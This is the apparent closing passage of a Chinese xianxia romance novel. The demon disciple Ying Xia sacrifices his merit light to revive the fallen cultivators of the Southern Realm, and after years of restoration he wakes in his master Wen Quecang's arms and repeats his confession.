眼泪不自觉落了下来。 怎么会这样呢,不是都杀了大魔吗?怎么他们都没活下来? 裴道远呢,他在哪儿……对了,还有穆槐序,来了南境之后一直都没见着他,他是不是早就…… 应夏无助地将脸埋在温却沧的怀里。 “师父,怎么办呢?”应夏低声道,“你快醒醒,告诉我该怎么办……” 要救活他们。 应夏慢慢起身,周围无风而起势,功德金光的金线越来越多的出现,一根接一根的,都钻入了南境修士们的体内。 太多人了,把应夏身上的功德金光都掏空甚至都不够。 他想起了什么,把之前的灵脉都掏了出来,用功德金光将灵气也化作金线,这样便足够了。 应夏便这样编织金线编织了整整三天三夜,才将整个南境的人全都救活。 “活了,活了就好。”应夏十分虚弱的喃喃道,实际上灵脉也有些不太够,他用了自己的魔气,借功德金光将魔气都化作金线救人。 说完,他便也倒下了,倒在了温却沧怀中。 就在应夏闭上眼的那一刻,南境所有的修士同一时间睁开了眼睛,活了过来。 而他撑不住人形,化作了一团小小的淡淡的黑雾,进入被温却沧护在手中的人心中。 “诶?我不是被咬死了吗?怎么还活着,身上的伤也好了。” “我怎么在这里……怎么回事?我不是已经……” “师兄!师兄你活过来了!不对,我好像也……” “怎么回事啊?大魔死了吗?” …… 玄衍宗。 裴道远和穆槐序来到听雪峰日常看望应夏。 “小师叔,今天应夏他怎么样?”裴道远将手中的盒子放下,里面是补充灵气的上品宝材。 温却沧从里屋出来,笑得温和,道:“气色看上去好多了,就是一直睡着不愿意醒。” “多睡睡也好。”穆槐序说,“好好养着。” 裴道远开玩笑道:“说不定到时候等应夏他醒来,发现自己已经快大乘期了,得震惊好一会儿呢。” 穆槐序想了想,点点头。 “你们进去看看他吧。”温却沧道,“多和他说说话,说不定他能早点醒来。” 裴道远一笑:“嘿,看我今天给他讲个了不得的八卦,他准能笑醒。”说着,便走进了卧房。 穆槐序并没有跟着进去,而是将三块玉牌交给温却沧,说:“这是北天剑宗、御兽门,还有佛门送来的东西,里面不少异宝,应该对应夏恢复有用。” 南境事后,众人皆得知自己能活过来都是因为应夏救了他们,他耗尽了全部功德金光甚至自身力量,才将南境所有死去的修士复活。 如此壮举,震惊修仙界,而且他还是一个天生魔。 所有人都记住了应夏的名字,记住了他是一个功德金光满身的魔。 温却沧将应夏的人心带回玄衍宗,倾尽全力修复,各大宗门也都慷慨解囊,有需要的材料宝物能给的出都给,务必要把拯救半个修仙界的恩人救回来。 经过十多年的努力,应夏慢慢恢复,已从原本小小一团魔气长成能塞满一屋子,而后又化成了人形。 据他能醒来,应该不远了。 “……你可不知道,我师父新收的一个小师弟,居然敢脚踏三条船,而且还全是不同宗门的女修,我都快佩服死他了。你看看,一个是弗叶宗,一个是散修,还有一个……你猜猜是哪个门派的?” 裴道远坐在应夏床前,语气夸张地说着,“竟然是北天剑宗!啧啧,真是人不可貌相啊,你说,我看他整天修炼也没落下,哪来的那么多时间去骗女修?真是……” 又过了几个春秋,听雪峰的雪一年四季都未停下过。 直到那天,温却沧抱着应夏坐在窗口看外面新种的梅树。 “你看,这梅花开得很好看。”温却沧拥着他,温柔地说。 “嗯,是好看。” 应夏睁开眼,回应道,对上温却沧惊喜的眼眸,说:“师父,那封信你看了吗?” 说的是当时他送人心锦盒时附上的一封信。 信上只有短短一句话。 温却沧应了一声,“看了。” 应夏满意地笑了,他说了和信上一样的话。 ——“喜欢没用,没用也喜欢。”